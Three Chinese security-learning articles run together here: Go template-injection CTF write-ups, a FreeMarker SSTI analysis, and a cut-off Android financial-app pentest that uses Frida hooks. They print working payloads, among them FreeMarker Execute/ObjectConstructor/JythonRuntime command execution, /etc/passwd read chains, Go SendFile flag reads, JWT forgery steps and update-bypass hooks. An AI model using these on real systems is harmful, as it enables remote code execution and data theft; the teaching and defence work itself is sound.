浅学Go下的ssti漏洞问题
前言 作为强类型的静态语言,golang的安全属性从编译过程就能够避免大多数安全问题,一般来说也唯有依赖库和开发者自己所编写的操作漏洞,才有可能形成漏洞利用点,在本文,主要学习探讨一下golang的一些ssti模板注入问题。 GO模板引擎 Go 提供了两个模板包。一个是 text/template,另一个是html/template。text/template对 XSS 或任何类型的 HTML 编码都没有保护,因此该模板并不适合构建 Web 应用程序,而html/template与text/template基本相同,但增加了HTML编码等安全保护,更加适用于构建web应用程序。 template简介 template之所以称作为模板的原因就是其由静态内容和动态内容所组成,可以根据动态内容的变化而生成不同的内容信息交由客户端,以下即一个简单例子 模板内容 Hello, {{.Name}} Welcome to go web programming… 期待输出 Hello, liumiaocn Welcome to go web programming… 而作为go所提供的模板包,text/template和html/template的主要区别就在于对于特殊字符的转义与转义函数的不同,但其原理基本一致,均是动静态内容结合,以下是两种模板的简单演示。 text/template package main import ( "net/http" "text/template" ) type User struct { ID       int Name string Email    string Password string } func StringTpl2Exam(w http.ResponseWriter, r *http.Request) { user := &User{1,"John", "test@example.com", "test123"} r.ParseForm() tpl := `<h1>Hi, {{ .Name }}</h1><br>Your Email is {{ .Email }}` data := map[string]string{ "Name":  user.Name, "Email": user.Email, } html := template.Must(template.New("login").Parse(tpl)) html.Execute(w, data) } func main() { server := http.Server{ Addr: "127.0.0.1:8888", } http.HandleFunc("/string", StringTpl2Exam) server.ListenAndServe() } struct是定义了的一个结构体,在go中,我们是通过结构体来类比一个对象,因此他的字段就是一个对象的属性,在该实例中,我们所期待的输出内容为下 模板内容 <h1>Hi, {{ .Name }}</h1><br>Your Email is {{ .Email }} 期待输出 <h1>Hi, John</h1><br>Your Email is test@example.com 可以看得出来,当传入参数可控时,就会经过动态内容生成不同的内容,而我们又可以知道,go模板是提供字符串打印功能的,我们就有机会实现xss。 package main import ( "net/http" "text/template" ) type User struct { ID       int Name string Email    string Password string } func StringTpl2Exam(w http.ResponseWriter, r *http.Request) { user := &User{1,"John", "test@example.com", "test123"} r.ParseForm() tpl := `<h1>Hi, {{"<script>alert(/xss/)</script>"}}</h1><br>Your Email is {{ .Email }}` data := map[string]string{ "Name":  user.Name, "Email": user.Email, } html := template.Must(template.New("login").Parse(tpl)) html.Execute(w, data) } func main() { server := http.Server{ Addr: "127.0.0.1:8888", } http.HandleFunc("/string", StringTpl2Exam) server.ListenAndServe() } 模板内容 <h1>Hi, {{"<script>alert(/xss/)</script>"}}</h1><br>Your Email is {{ .Email }} 期待输出 <h1>Hi, {{"<script>alert(/xss/)</script>"}}</h1><br>Your Email is test@example.com 实际输出 弹出/xss/ 这里就是text/template和html/template的最大不同了。 html/template 同样的例子,但是我们把导入的模板包变成html/template package main import ( "net/http" "html/template" ) type User struct { ID       int Name string Email    string Password string } func StringTpl2Exam(w http.ResponseWriter, r *http.Request) { user := &User{1,"John", "test@example.com", "test123"} r.ParseForm() tpl := `<h1>Hi, {{"<script>alert(/xss/)</script>"}}</h1><br>Your Email is {{ .Email }}` data := map[string]string{ "Name":  user.Name, "Email": user.Email, } html := template.Must(template.New("login").Parse(tpl)) html.Execute(w, data) } func main() { server := http.Server{ Addr: "127.0.0.1:8888", } http.HandleFunc("/string", StringTpl2Exam) server.ListenAndServe() } 可以看到,xss语句已经被转义实体化了,因此对于html/template来说,传入的script和js都会被转义,很好地防范了xss,但text/template也提供了内置函数html来转义特殊字符,除此之外还有js,也存在template.HTMLEscapeString等转义函数。 而通过html/template包等,go提供了诸如Parse/ParseFiles/Execute等方法可以从字符串或者文件加载模板然后注入数据形成最终要显示的结果。 html/template 包会做一些编码来帮助防止代码注入,而且这种编码方式是上下文相关的,这意味着它可以发生在 HTML、CSS、JavaScript 甚至 URL 中,模板库将确定如何正确编码文本。 template常用基本语法 在{{}}内的操作称之为pipeline {{.}} 表示当前对象,如user对象 {{.FieldName}} 表示对象的某个字段 {{range …}}{{end}} go中for…range语法类似,循环 {{with …}}{{end}} 当前对象的值,上下文 {{if …}}{{else}}{{end}} go中的if-else语法类似,条件选择 {{xxx | xxx}} 左边的输出作为右边的输入 {{template "navbar"}} 引入子模版 漏洞演示 在go中检测 SSTI 并不像发送 {{7*7}} 并在源代码中检查 49 那么简单,我们需要浏览文档以查找仅 Go 原生模板中的行为,最常见的就是占位符. 在template中,点"."代表当前作用域的当前对象,它类似于java/c++的this关键字,类似于perl/python的self。 package main import ( "net/http" "text/template" ) type User struct { ID       int Name string Email    string Password string } func StringTpl2Exam(w http.ResponseWriter, r *http.Request) { user := &User{1,"John", "test@example.com", "test123"} r.ParseForm() tpl := `<h1>Hi, {{ .Name }}</h1><br>Your Email is {{ . }}` data := map[string]string{ "Name":  user.Name, "Email": user.Email, } html := template.Must(template.New("login").Parse(tpl)) html.Execute(w, data) } func main() { server := http.Server{ Addr: "127.0.0.1:8888", } http.HandleFunc("/string", StringTpl2Exam) server.ListenAndServe() } 输出为 模板内容 <h1>Hi, {{ .Name }}</h1><br>Your Email is {{ . }} 期待输出 <h1>Hi, John</h1><br>Your Email is map[Email:test@example.com Name:John] 可以看到结构体内的都会被打印出来,我们也常常利用这个检测是否存在SSTI。 接下来就以几道题目来验证一下 [LineCTF2022]gotm package main import ( "encoding/json" "fmt" "log" "net/http" "os" "text/template" "github.com/golang-jwt/jwt" ) type Account struct { id         string pw         string is_admin   bool secret_key string } type AccountClaims struct { Id       string `json:"id"` Is_admin bool   `json:"is_admin"` jwt.StandardClaims } type Resp struct { Status bool   `json:"status"` Msg    string `json:"msg"` } type TokenResp struct { Status bool   `json:"status"` Token  string `json:"token"` } var acc []Account var secret_key = os.Getenv("KEY") var flag = os.Getenv("FLAG") var admin_id = os.Getenv("ADMIN_ID") var admin_pw = os.Getenv("ADMIN_PW") func clear_account() { acc = acc[:1] } func get_account(uid string) Account { for i := range acc { if acc[i].id == uid { return acc[i] } } return Account{} } func jwt_encode(id string, is_admin bool) (string, error) { claims := AccountClaims{ id, is_admin, jwt.StandardClaims{}, } token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims) return token.SignedString([]byte(secret_key)) } func jwt_decode(s string) (string, bool) { token, err := jwt.ParseWithClaims(s, &AccountClaims{}, func(token *jwt.Token) (interface{}, error) { return []byte(secret_key), nil }) if err != nil { fmt.Println(err) return "", false } if claims, ok := token.Claims.(*AccountClaims); ok && token.Valid { return claims.Id, claims.Is_admin } return "", false } func auth_handler(w http.ResponseWriter, r *http.Request) { uid := r.FormValue("id") upw := r.FormValue("pw") if uid == "" || upw == "" { return } if len(acc) > 1024 { clear_account() } user_acc := get_account(uid) if user_acc.id != "" && user_acc.pw == upw { token, err := jwt_encode(user_acc.id, user_acc.is_admin) if err != nil { return } p := TokenResp{true, token} res, err := json.Marshal(p) if err != nil { } w.Write(res) return } w.WriteHeader(http.StatusForbidden) return } func regist_handler(w http.ResponseWriter, r *http.Request) { uid := r.FormValue("id") upw := r.FormValue("pw") if uid == "" || upw == "" { return } if get_account(uid).id != "" { w.WriteHeader(http.StatusForbidden) return } if len(acc) > 4 { clear_account() } new_acc := Account{uid, upw, false, secret_key} acc = append(acc, new_acc) p := Resp{true, ""} res, err := json.Marshal(p) if err != nil { } w.Write(res) return } func flag_handler(w http.ResponseWriter, r *http.Request) { token := r.Header.Get("X-Token") if token != "" { id, is_admin := jwt_decode(token) if is_admin == true { p := Resp{true, "Hi " + id + ", flag is " + flag} res, err := json.Marshal(p) if err != nil { } w.Write(res) return } else { w.WriteHeader(http.StatusForbidden) return } } } func root_handler(w http.ResponseWriter, r *http.Request) { token := r.Header.Get("X-Token") if token != "" { id, _ := jwt_decode(token) acc := get_account(id) tpl, err := template.New("").Parse("Logged in as " + acc.id) if err != nil { } tpl.Execute(w, &acc) } else { return } } func main() { admin := Account{admin_id, admin_pw, true, secret_key} acc = append(acc, admin) http.HandleFunc("/", root_handler) http.HandleFunc("/auth", auth_handler) http.HandleFunc("/flag", flag_handler) http.HandleFunc("/regist", regist_handler) log.Fatal(http.ListenAndServe("0.0.0.0:11000", nil)) } 我们先对几个路由和其对应的函数进行分析。 struct结构 type Account struct { id         string pw         string is_admin   bool secret_key string } 注册功能 func regist_handler(w http.ResponseWriter, r *http.Request) {    uid := r.FormValue("id")    upw := r.FormValue("pw")    if uid == "" || upw == "" {        return   }    if get_account(uid).id != "" {        w.WriteHeader(http.StatusForbidden)        return   }    if len(acc) > 4 {        clear_account()   }    new_acc := Account{uid, upw, false, secret_key} //创建新用户    acc = append(acc, new_acc)    p := Resp{true, ""}    res, err := json.Marshal(p)    if err != nil {   }    w.Write(res)    return } 登录功能 func auth_handler(w http.ResponseWriter, r *http.Request) {    uid := r.FormValue("id")    upw := r.FormValue("pw")    if uid == "" || upw == "" {        return   }    if len(acc) > 1024 {        clear_account()   }    user_acc := get_account(uid)    if user_acc.id != "" && user_acc.pw == upw {    //检验id和pw        token, err := jwt_encode(user_acc.id, user_acc.is_admin)        if err != nil {            return       }        p := TokenResp{true, token}     //返回token        res, err := json.Marshal(p)        if err != nil {       }        w.Write(res)        return   }    w.WriteHeader(http.StatusForbidden)    return } 认证功能 func root_handler(w http.ResponseWriter, r *http.Request) {    token := r.Header.Get("X-Token")    if token != "" {    //根据token解出id,根据uid取出对应account        id, _ := jwt_decode(token)        acc := get_account(id)        tpl, err := template.New("").Parse("Logged in as " + acc.id)        if err != nil {       }        tpl.Execute(w, &acc)   } else {        return   } } 得到account func get_account(uid string) Account {    for i := range acc {        if acc[i].id == uid {            return acc[i]       }   }    return Account{} } flag路由 func flag_handler(w http.ResponseWriter, r *http.Request) {    token := r.Header.Get("X-Token")    if token != "" {        id, is_admin := jwt_decode(token)        if is_admin == true {   //将is_admin修改为true即可得到flag            p := Resp{true, "Hi " + id + ", flag is " + flag}            res, err := json.Marshal(p)            if err != nil {           }            w.Write(res)            return       } else {            w.WriteHeader(http.StatusForbidden)            return       }   } } 所以思路就清晰了,我们需要得到secret_key,然后继续jwt伪造得到flag。 而由于root_handler函数中得到的acc是数组中的地址,即会在全局变量acc函数中查找我们的用户,这时传入{{.secret_key}}会返回空,所以我们用{{.}}来得到结构体内所有内容。 /regist?id={{.}}&pw=123 /auth?id={{.}}&pw=123{"status":true,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.0Lz_3fTyhGxWGwZnw3hM_5TzDfrk0oULzLWF4rRfMss"} 带上token重新访问 Logged in as {{{.}} 123 false this_is_f4Ke_key} 得到secret_key,进行jwt伪造,把 is_admin修改为true,key填上secret_key得到 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOnRydWV9.3OXFk-f_S2XqPdzHnl0esmJQXuTSXuA1IbpaGOMyvWo 带上token访问/flag [WeCTF2022]request-bin 洁白一片,使用{{.}}进行检测 这道题目采用的框架是iris,用户可以对日志的格式参数进行控制,而参数又会被当成模板渲染,所以我们就可以利用该点进行ssti。 我们需要的是进行文件的读取,所以我们需要看看iris的accesslog库的模板注入如何利用。 在Accesslog的结构体中可以发现 type Log struct { // The AccessLog instance this Log was created of. Logger *AccessLog `json:"-" yaml:"-" toml:"-"` // The time the log is created. Now time.Time `json:"-" yaml:"-" toml:"-"` // TimeFormat selected to print the Time as string, // useful on Template Formatter. TimeFormat string `json:"-" yaml:"-" toml:"-"` // Timestamp the Now's unix timestamp (milliseconds). Timestamp int64 `json:"timestamp" csv:"timestamp"` // Request-Response latency. Latency time.Duration `json:"latency" csv:"latency"` // The response status code. Code int `json:"code" csv:"code"` // Init request's Method and Path. Method string `json:"method" csv:"method"` Path   string `json:"path" csv:"path"` // The Remote Address. IP string `json:"ip,omitempty" csv:"ip,omitempty"` // Sorted URL Query arguments. Query []memstore.StringEntry `json:"query,omitempty" csv:"query,omitempty"` // Dynamic path parameters. PathParams memstore.Store `json:"params,omitempty" csv:"params,omitempty"` // Fields any data information useful to represent this Log. Fields memstore.Store `json:"fields,omitempty" csv:"fields,omitempty"` // The Request and Response raw bodies. // If they are escaped (e.g. JSON), // A third-party software can read it through: // data, _ := strconv.Unquote(log.Request) // err := json.Unmarshal([]byte(data), &customStruct) Request  string `json:"request,omitempty" csv:"request,omitempty"` Response string `json:"response,omitempty" csv:"response,omitempty"` // The actual number of bytes received and sent on the network (headers + body or body only). BytesReceived int `json:"bytes_received,omitempty" csv:"bytes_received,omitempty"` BytesSent     int `json:"bytes_sent,omitempty" csv:"bytes_sent,omitempty"` // A copy of the Request's Context when Async is true (safe to use concurrently), // otherwise it's the current Context (not safe for concurrent access). Ctx *context.Context `json:"-" yaml:"-" toml:"-"` } 这里我们经过审查,会发现context里面存在SendFile进行文件强制下载。 所以我们可以构造payload如下 {{ .Ctx.SendFile "/flag" "1.txt"}} 后言 golang的template跟很多模板引擎的语法差不多,比如双花括号指定可解析的对象,假如我们传入的参数是可解析的,就有可能造成泄露,其本质就是合并替换,而常用的检测payload可以用占位符.,对于该漏洞的防御也是多注意对传入参数的控制。
Java FreeMarker模板引擎注入深入分析
0x01 前言 最近和 https://f1or.cn/ 大师傅一起挖洞的时候发现一处某 CMS SSTI 的 0day,之前自己在复现 jpress 的一些漏洞的时候也发现了 SSTI 这个洞杀伤力之大。今天来好好系统学习一手。 有三个最重要的模板,其实模板引擎本质上的原理差不多,因为在 SpringBoot 初学习的阶段我就已经学习过 Thymeleaf 了,所以大体上老生常谈的东西就不继续讲了。 三个模板的模板注入攻击差距其实还是有点大的,而且 Java 的 SSTI 和 Python Flask 的一些 SSTI 差距有点大。我们今天主要来看看 FreeMarker 的 SSTI 0x02 FreeMarker SSTI FreeMarker 官网:http://freemarker.foofun.cn/index.html 对应版本是 2.3.23,一会儿我们搭建环境的时候也用这个版本 FreeMarker 基础语法 关于文本与注释,本文不再强调,重点看插值与 FTL 指令。 插值 插值也叫 Interpolation,即 ${..} 或者 #{..} 格式的部分,将使用数据模型中的部分替代输出 比如这一个 .ftl 文件 <!DOCTYPE html>   <html lang="en">   <head>      <meta charset="UTF-8">      <title>Hello ${name}!</title>      <link href="/css/main.css" rel="stylesheet">   </head>   <body>      <h2 class="hello-title">Hello ${name}!</h2>      <script src="/js/main.js"></script>   </body>   </html> 那么 ${name} 的数据就会从传参里面拿,对应的这个是在 addAttribute 中的 name 参数 FTL 指令 FTL 指令以 # 开头,其他语法和 HTML 大致相同。 我这里其实也花了不少时间看了 FreeMarker 的基础语法,但是并非很透彻,就不误人子弟了,有兴趣的师傅可以自己前往 FreeMarker 手册查看。 https://freemarker.apache.org/ FreeMarker SSTI 成因与攻击面 看了一些文章,有些地方有所疏漏,先说 SSTI 的攻击面吧,我们都知道 SSTI 的攻击面其实是模板引擎的渲染,所以我们要让 Web 服务器将 HTML 语句渲染为模板引擎,前提是要先有 HTML 语句。那么 HTML 如何才能被弄上去呢?这就有关乎我们的攻击面了。 将 HTML 语句放到服务器上有两种方法: 1、文件上传 HTML 文件。 2、若某 CMS 自带有模板编辑功能,这种情况非常多。 因为之前有接触过 Thymeleaf 的 SSTI,Thymeleaf 的 SSTI 非常锋利, Thymeleaf SSTI 的攻击往往都是通过传参即可造成 RCE(当然这段话很可能是不严谨的 在刚接触 FreeMarker 的 SSTI 的时候,我误以为它和 Thyemelaf 一样,直接通过传参就可以打,后来发现我的想法是大错特错。 环境搭建 一些开发的基本功,因篇幅限制,我也不喜放这些代码的书写,贴个项目地址吧 https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/CodeReview漏洞复现 前文我有提到,FreeMarker 的 SSTI 必须得是获取到 HTML,再把它转换成模板,从而引发漏洞,所以这里要复现,只能把 HTML 语句插入到 .ftl 里面,太生硬了简直。。。。。不过和 F1or 师傅一起挖出来的 0day 则是比较灵活,有兴趣的师傅可以滴一下我 payload: <#assign value="freemarker.template.utility.Execute"?new()>${value("Calc")} 构造出这个 PoC 的原因是 freemarker.template.utility.Execute 类里面存在如下图所示的命令执行方法,都写到脸上来了。 漏洞复现如图 漏洞分析 我们要分析的是,MVC 的思维,以及如何走到这个危险类 ———— freemarker.template.utility.Execute 去的。 下一个断点在 org.springframework.web.servlet.view.UrlBasedViewResolver#createView,开始调试 跟进 super.createView() 进一步跟进 loadView() 以及 buildView(),这些方法的业务意义都比较好理解,先 create 一个 View 视图,再将其 load 进来,最后再 build。 在 buildView() 方法当中,先通过 this.instantiateView() 的方式 new 了一个 FreeMarkerView 类,又进行了一些基础赋值,将我们的 View Build 了出来(也就是 View 变得有模有样了) 继续往下走,回到 loadView() 方法,loadView() 方法调用了 view.checkResource() 方法 checkResource() 方法做了两件事,第一件事是判断 Resource 当中的 url 是否为空,也就是判断是否存在 resource,如果 url 都没东西,那么后续的模板引擎加载就更不用说了;第二件事是进行 template 的获取,也可以把这理解为准备开始做模板引擎加载的业务了。 跟进 getTemplate() 方法 首先做了一些赋值判断,再判断 Template 的存在,我们跟进 this.cache.getTemplate 这里从 cache 里面取值,而在我们 putTemplate 设置模板的时候,也会将至存储到 cache中。 跟进 getTemplateInternal() 先做了一些基本的判断,到 202 行,跟进 lookupTemplate() 方法 这里代码很冗杂,最后的结果是跟进 `freemarker.cache.TemplateCache#lookupWithLocalizedThenAcquisitionStrategy 代码会先拼接 _zh_CN,再寻找未拼接 _zh_CN 的模板名,调用 this.findTemplateSource(path) 获取模板实例。 这里就获取到了 handle 执行返回的模板视图实例,这里我 IDEA 没有走过去,就跟着奶思师傅的文章先分析了。 org.springframework.web.servlet.DispatcherServlet#doDispatch 流程 handle 执行完成后调用 this.processDispatchResult(processedRequest, response, mappedHandler, mv, (Exception)dispatchException); 进行模板解析。 调用 view.render(mv.getModelInternal(), request, response); 一路跟进至 org.springframework.web.servlet.view.freemarker.FreeMarkerView#doRender 跟进 this.processTemplate() 跟进 process() process() 方法是做了一个输出(生成) HTML 文件或其他文件的工作,相当于渲染的最后一步了。 在 process() 方法中,会对 ftl 的文件进行遍历,读取一些信息,下面我们先说对于正常语句的处理,再说对于 ftl 表达式的处理。 在读取到每一条 freeMarker 表达式语句的时候,会二次调用 visit() 方法,而 visit() 方法又调用了 element.accept(),跟进 跟进 calculateInterpolatedStringOrMarkup() 方法 calculateInterpolatedStringOrMarkup() 方法做的业务是将模型强制为字符串或标记,跟进 eval() 方法 eval() 方法简单判断了 constantValue 是否为 null,这里 constantValue 为 null,跟进 this._eval(),一般的 _eval() 方法只是将 evn 获取一下,但是对于 ftl 语句就不是这样了,一般的 _eval() 方法如下 而对于 ftl 表达式来说,accept 方法是这样的 跟进一下 accept() 方法 做了一系列基础判断,先判断 namespaceExp 是否为 null,接着又判断 this.operatorType 是否等于 65536,到第 105 行,跟进 eval() 方法,再跟进 _eval() 我们可以看到 targetMethod 目前就是我们在 ftl 语句当中构造的那个能够进行命令执行的类,也就是说这一个语句相当于 Object result = targetMethod.exec(argumentStrings); // 等价于 Object result = freemarker.template.utility.Execute.exec(argumentStrings); 而这一步并非直接进行命令执行,而是先把这个类通过 newInstance() 的方式进行初始化。 命令执行的参数,会被拿出来,在下一次的同样流程中作为命令被执行,如图 至此,分析结束,很有意思的一个流程分析。 FreeMarker SSTI 的攻防二象性 我们目前的 PoC 是这么打的 <#assign value="freemarker.template.utility.Execute"?new()>${value("Calc")} 这是因为 FreeMarker 的内置函数 new 导致的,下面我们简单介绍一下 FreeMarker的两个内置函数—— new 和 api 内置函数 new 可创建任意实现了 TemplateModel 接口的 Java 对象,同时还可以触发没有实现 TemplateModel 接口的类的静态初始化块。 以下两种常见的FreeMarker模版注入poc就是利用new函数,创建了继承 TemplateModel 接口的 freemarker.template.utility.JythonRuntime 和freemarker.template.utility.Execute API value?api 提供对 value 的 API(通常是 Java API)的访问,例如 value?api.someJavaMethod() 或 value?api.someBeanProperty。可通过 getClassLoader获取类加载器从而加载恶意类,或者也可以通过 getResource来实现任意文件读取。 但是,当api_builtin_enabled为 true 时才可使用 api 函数,而该配置在 2.3.22 版本之后默认为 false。 由此我们可以构造出一系列的 bypass PoC POC1 <#assign classLoader=object?api.class.protectionDomain.classLoader> <#assign clazz=classLoader.loadClass("ClassExposingGSON")> <#assign field=clazz?api.getField("GSON")> <#assign gson=field?api.get(null)> <#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))> ${ex("Calc"")} POC2 <#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","Calc").start()} POC3 <#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc") POC4 <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("Calc") } 读取文件 <#assign is=object?api.class.getResourceAsStream("/Test.class")> FILE:[<#list 0..999999999 as _>    <#assign byte=is.read()>    <#if byte == -1>        <#break>    </#if> ${byte}, </#list>]<#assign uri=object?api.class.getResource("/").toURI()> <#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()> <#assign is=input?api.getInputStream()> FILE:[<#list 0..999999999 as _>    <#assign byte=is.read()>    <#if byte == -1>        <#break>    </#if> ${byte}, </#list>] 从 2.3.17版本以后,官方版本提供了三种TemplateClassResolver对类进行解析: 1、UNRESTRICTED_RESOLVER:可以通过 ClassUtil.forName(className) 获取任何类。 2、SAFER_RESOLVER:不能加载 freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor这三个类。 3、ALLOWS_NOTHING_RESOLVER:不能解析任何类。 可通过freemarker.core.Configurable#setNewBuiltinClassResolver方法设置TemplateClassResolver,从而限制通过new()函数对freemarker.templ FreeMarker SSTI 修复 因为 FreeMarker 不能直接传参打,所以此处的代码参考奶思师傅。 package freemarker; import freemarker.cache.StringTemplateLoader; import freemarker.core.TemplateClassResolver; import freemarker.template.Configuration; import freemarker.template.Template; import java.io.IOException; import java.io.OutputStreamWriter; import java.io.StringWriter; import java.util.HashMap; public class freemarker_ssti {    public static void main(String[] args) throws Exception {        //设置模板        HashMap<String, String> map = new HashMap<String, String>();        String poc ="<#assign aaa=\"freemarker.template.utility.Execute\"?new()> ${ aaa(\"open -a Calculator.app\") }";        System.out.println(poc);        StringTemplateLoader stringLoader = new StringTemplateLoader();        Configuration cfg = new Configuration();        stringLoader.putTemplate("name",poc);        cfg.setTemplateLoader(stringLoader);        //cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);        //处理解析模板        Template Template_name = cfg.getTemplate("name");        StringWriter stringWriter = new StringWriter();        Template_name.process(Template_name,stringWriter);   } } 防御成功 0x03 小结 比较其他两个模板引擎来说,FreeMarker 的 SSTI 更为严格一些,它的防护也做的相当有力,这个给自己挖个小坑吧,后续去看一看 FreeMarker 的代码当中是否存在强而有力的 bypass payload。
一次金融APP的解密历程
前言: 客户仅提供官网下载地址给我们测试。但是由于官网的版本不是最新的,APP会强制你升级。而升级后的APP,是进行加固后的,无法使用frida进行hook,注入进程。那同样也无法使用SSL Unpinning进行限制客户端校验证书。新版app使用查壳软件显示未加壳,但是查看源代码明显少了很多代码,且很多都是变量声明而已。 绕过更新: 我们要想能对APP渗透测试,一般都是需要抓包和解密的。首先使用burp进行抓包代理,官网版本的APP(以下统称旧版APP),是可以轻松抓到APP的包的(该条请求为检验APP最新版本的请求)。但是内容使用了加密,具体什么加密是不得而知。 获取到请求密文: vVAK0jos5eT9gmQJaHOaYbqZ1mgXoBH3bee3MTF3G5wNRHRoPPOYokZLT4MQqaPDN%2BLeEYpIzzDJeErDHcDfhY8muosLfOaw35W3BuCxDNtuNFB86RumMBtOcQXT08qw 响应包未json,urldecode后为: {"duration":"0ms","note":"","code":1,"resultDES":"UX/jHk6yqix2yxZIrf0rSIuOjCy6oGxjCPUfBL2avG+DWy/++NW16+YQHVFQ+Nj2w9VOWGcH4OxFtGxbR6K7I6pY0Q9hkP9gc0K0JLZ5O+PwOW72nzissCiLG+cHqadKHzkPOQDdBUuBoa4W1Jz7fQ=="} 通过desStr和resultDES,一开始我猜测他为des加密,具体是不是,后续再说。 先进入APP,但是一进入APP就提示更新: 通过前言,我们知道是不能更新的。(当然不乏某些技术大佬也可以把新版APP搞定,我技术有限,感觉旧版的比较容易搞)。那我们就明确了目标,要先绕过更新校验。 对于不了解hook**和frida的同学,我这边推荐先去网上了解下,还有安装之类的,再来看此篇文章。 首先我们明确一下思路,要怎么绕过这个更新校验呢? (1)直接反编译,修改APP的版本信息为99.99之类的; (2)通过修改版本验证请求,使用http层面去绕过; (3)使用hook,去重写更新函数,或者绕过更新函数; 第一点要app能支持反编译且不存在校验签名。第二点要能知道加密密文的密钥。所以我选择第三种: 通过jadx搜索更新,发现了两处,成功获取到源代码。 类名分别为:com.xxxx.AppUpdate和com.xxxx.WelcomeActivity,通过代码审计可以看到,是先调用的WelcomeActivity,WelcomeActivity再去调用的AppUpdate: 跟踪进入AppUpdate,调用的checkNativeAppVersion(): 通过上述代码,我们可以看到,这边就是用于判断是否升级的函数。 public void onResponse(Call call, Response response) throws IOException {    try {        JSONObject jSONObject = new JSONObject(C.s2(new JSONObject(URLDecoder.decode(response.body().string(), DataUtil.UTF8)).getString("resultDES"), Config.WHITE_KEY, Config.IV.getBytes()));        if (jSONObject.optInt("code", -1) > 0) {            JSONObject optJSONObject = jSONObject.optJSONObject("object");            if (optJSONObject == null) {                return;           }            if (WakedResultReceiver.CONTEXT_KEY.equals(optJSONObject.optString("isUpdate", ChatConfig.CARD_TYPE))) {                nativeAppVersionInterface.updateApp(optJSONObject.optString("desc", "当前有新版本,是否需要更新"), optJSONObject.optString(ClientCookie.VERSION_ATTR, ""));           } else {                nativeAppVersionInterface.noUpdateApp();           }       } else {            nativeAppVersionInterface.showError(jSONObject.optString("note"));       }   } catch (JSONException e) {        e.printStackTrace();        nativeAppVersionInterface.showError(e.getMessage());   } } 当JSONObject.optInt("code", -1) > 0时,是会去进行升级的,否则则执行nativeAppVersionInterface.noUpdateApp()。 这边分析完后,其实我们就可以写js进行hook操作了。 我们的hook思路可以这样设置了: 重写checkNativeAppVersion函数,执行执行nativeAppVersionInterface.noUpdateApp()。 Ps:因为我一开始直接重写了checkNativeAppVersion,只执行了console.log(“enter checkNativeAppVersion”),没有对APP进行启动,这样就会直接卡死在启动页。 附上js代码: if(Java.available){    console.log('success');        Java.perform(function(){        var appUpdate = Java.use("com.xxxx.AppUpdate");        appUpdate.checkNativeAppVersion.implementation = function(a,b,c,d,e,f){            console.log("enter AppUpdate");//判断是否进入该hook函数,进入会执行该命令            f.noUpdateApp();//直接执行不需要更新函数,APP会自动进入       }       }); } 使用命令:frida -U -l .\xxx.js -f 包名 --no-pause 成功进入: 解密: 已经成功进入该APP,但是如果想成功进行渗透测试的话,还需要能解开APP的加密。通过des字段,初步判断为des加密,再回头看看刚刚更新的那个请求,是有用c.s2()函数进行操作的,大概率s2就是解密函数。 JSONObject jSONObject = new JSONObject(C.s2(new JSONObject(URLDecoder.decode(response.body().string(), DataUtil.UTF8)).getString("resultDES"), Config.WHITE_KEY, Config.IV.getBytes())); 可以看到s2的三个参数,即前面响应包中的json字段里面的resultDES参数,然后其次是Config.WHITE_KEY, Config.IV两个参数,其中Config.IV是以字节数组的形式进行传参的。通过跳转可以看到配置文件的参数。 然后呢,因为获取到密钥和偏移量iv,这样的话des就可以解了。但是问题是解不开。后续的思路就是如果可以直接hook这两个加解密函数的话,是不是就可以不用管他的加解密了。 s1和s2函数不在java层,那我们就需要hook native层的代码。Hook so文件。首先我们先把安装包后缀apk改成zip,然后解压。就可以找到wkb-1.2.2.so的文件了。(路径为lib/arm64-v8a/wkb-1.2.2.so,前面的arm64根据自己测试机的CPU架构进行选择。)直接用ida打开,在导出函数里面搜索des: 里面有很多des的相关函数。可使用以下js进行hook导出函数: if(Java.available){    console.log('success');        Java.perform(function(){        var point = Module.findExportByName("libwkb-1.2.2.so","desDecryptByteArray");        Interceptor.attach(point,{            onEnter: function(args){                console.log("Hook start");                console.log("args[0]=" + args[0]); //打印我们java层第一个传入的参数                console.log("args[1]=" + args[1]); //打印我们java层传入的第二个参数           },            onLeave: function(retval){ //onLeave: function(retval)是该函数执行结束要执行的代码,其中retval参数即是返回值                console.log("return:" + retval); //打印返回值           }       });       }); } 但是这边很奇怪的是,通过函数findExportByName找到的地址都是为null,一开始以为是还没加载到so文件,但是后续进入APP后还是一样为null。(有知道的大佬可以说下) 这就比较蛋疼了,得手动计算地址。首先先获取so文件的地址,看能不能获取到,若不行,则表示未加载so文件。 var soAddr = Module.findBaseAddress("libwkb-1.2.2.so"); console.log("soAddr:" + soAddr); 有地址出来,说明so文件是存在的,可以正常调用。那么这边就要去计算函数偏移量。之前在网上看到别人的一个公式: 函数地址=so**初始地址+函数偏移量+1** 但是我后面尝试了好几个,好像不同手机不同的计算方法,也可能我操作的有问题。我这边的函数地址就是: 函数地址=so**初始地址+函数偏移量** 不用加一。我自己是用这个方法测试计算的:找到一个导出函数可以被查询到的,比如我这边使用的就是JNI_OnLoad函数: 获取JNI_OnLoad的地址为0x79d5d7883c,然后使用这个地址减去so的地址: 0x79d5d7883c − 0x79d5d67000 = 1183c 差值刚好为JNI_OnLoad的偏移量,所以我这边就不用再进行加一操作了。 这样我们就可以成功hook任意函数了。通过我一个个尝试发现,以下函数一个都没调用过: 然后呢,我查找了s2函数的用例,发现被decodeSm4的函数调用过。 我就尝试了一下,hook了sm4EncryptByteArr: 附上js: var soAddr = Module.findBaseAddress("libwkb-1.2.2.so"); var point = soAddr.add(0x136f0); Interceptor.attach(point,{            onEnter: function(args){                console.log("Hook start");                console.log("args[0]=" + args[0]); //打印我们java层第一个传入的参数                console.log("args[2]=" + Java.vm.getEnv().getStringUtfChars(args[2], null).readCString()); //打印我们java层传入的第三个参数                console.log("args[3]=" + 